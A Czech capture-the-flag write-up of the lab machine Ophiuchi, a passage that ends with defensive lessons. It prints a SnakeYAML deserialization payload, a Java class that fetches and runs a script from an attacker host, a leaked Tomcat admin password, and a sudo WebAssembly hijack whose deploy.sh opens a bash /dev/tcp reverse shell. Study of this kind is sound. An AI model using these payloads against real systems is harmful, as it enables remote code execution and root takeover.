Ophiuchi
Úvod a kontext
Ophiuchi je stroj postavený na dvou úplně jiných technologiích. První část je Java/Tomcat a nebezpečné parsování YAML přes SnakeYAML. Druhá část je Go wrapper nad WebAssembly modulem, který lze po sudo přinutit spustit útočníkův kód jako root.
Právě kontrast těchto dvou vrstev dělá Ophiuchi zajímavým. Foothold nepřinese heslo ani jednoduchý upload, ale deserializace v Javě. Root pak naopak nepadá na klasickém SUID nebo PATH hijacku, ale na důvěře v lokální .wasm modul a pomocný deploy.sh.
Počáteční průzkum
Tomcat s aplikací Parse YAML
Scan ukáže jen SSH a Tomcat na 8080/tcp. Důležitý je název aplikace Parse YAML a také přítomnost cest /yaml, /test a /manager, které naznačují, že host pracuje s uživatelským vstupem ve formátu YAML.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
8080/tcp open http Apache Tomcat 9.0.38
/test
/manager
/yaml
Analýza zjištění
SnakeYAML deserializace přes ScriptEngineManager
Na Ophiuchi dává smysl u YAML aplikace hned ověřit známé gadgety pro SnakeYAML. Funkční cesta vede přes !!javax.script.ScriptEngineManager a URLClassLoader, který si stáhne útočníkův Java payload z vlastního HTTP serveru.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.8:8000/"]
]]
]
Payload s třídou implementující ScriptEngineFactory pak v konstruktoru stáhne a spustí reverzní shell.
public class exploit implements ScriptEngineFactory {
public exploit() {
Runtime.getRuntime().exec("curl http://10.10.14.8:8000/rev.sh -o /tmp/rev.sh");
Runtime.getRuntime().exec("bash /tmp/rev.sh");
}
}
Po footholdu už je nejdůležitější číst lokální konfigurační soubory Tomcatu. V tomcat-users.xml leží administrátorský účet admin s heslem whythereisalimit, které funguje i pro systémové SSH.
cat tomcat-users.xml
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
Získání přístupu
SSH jako admin
Jakmile jsou známé přihlašovací údaje, dává smysl opustit webový shell a přepnout se na SSH. Tím vznikne stabilní foothold a zároveň se otevře přímý přístup k lokálním souborům a sudo.
ssh admin@$IP
cat user.txt
whythereisalimit
__CENSORED__
Eskalace oprávnění
go run a podvržený main.wasm
sudo -l na účtu admin ukáže, že lze spouštět /usr/bin/go run /opt/wasm-functions/index.go. To samo o sobě vypadá neškodně, ale wrapper očekává main.wasm a pomocný deploy.sh v pracovním adresáři. Stačí tedy zkopírovat originální main.wasm, převést ho do WAT, upravit rozhodující podmínku a vrátit ho jako vlastní variantu.
scp admin@$IP:/opt/wasm-functions/main.wasm main.wasm
wasm2wat main.wasm
V upraveném modulu stačí změnit větev tak, aby vždy vedla do cesty, která spouští deploy.sh. Potom se do vlastního adresáře přidá shell script a celý wrapper se spustí přes sudo.
mkdir /tmp/a
scp test.wasm admin@$IP:/tmp/a/main.wasm
/tmp/a/deploy.sh
#!/bin/sh
/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1'
sudo /usr/bin/go run /opt/wasm-functions/index.go
To už vede přímo k root shellu a tím i k root.txt.
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Ophiuchi začíná Java deserializací přes SnakeYAML, nikoli běžným webovým exploitem nebo únikem hesla.
tomcat-users.xmlje klíčový mezikrok, protože převádí jednorázový webový shell na stabilní SSH jakoadmin.- Root část nestojí na chybě v Go samotném, ale na tom, že wrapper důvěřuje uživatelsky ovlivnitelnému
main.wasmadeploy.sh.
Co si odnést do praxe
- Aplikace, které parsují YAML nebo jiné bohaté serializační formáty, musí explicitně zakázat nebezpečné typy a gadgety. Jinak z běžného parseru vznikne RCE.
- Konfigurační soubory Tomcatu a podobných aplikačních serverů nesmějí obsahovat hesla použitelná i pro SSH nebo další systémové služby.
sudowrappery nad interprety nebo moduly musí mít pevně dané cesty ke vstupům. Pokud si root proces vezmemain.wasmz uživatelsky ovlivnitelného adresáře, je z toho okamžitá eskalace.
Další související články
HTB Stroje
Techniky
- PATH, PYTHONPATH a wrapper hijack
- Insecure deserialization napříč stacky
- Nebezpečné uploady: polygloty, WAR deploy a plugin upload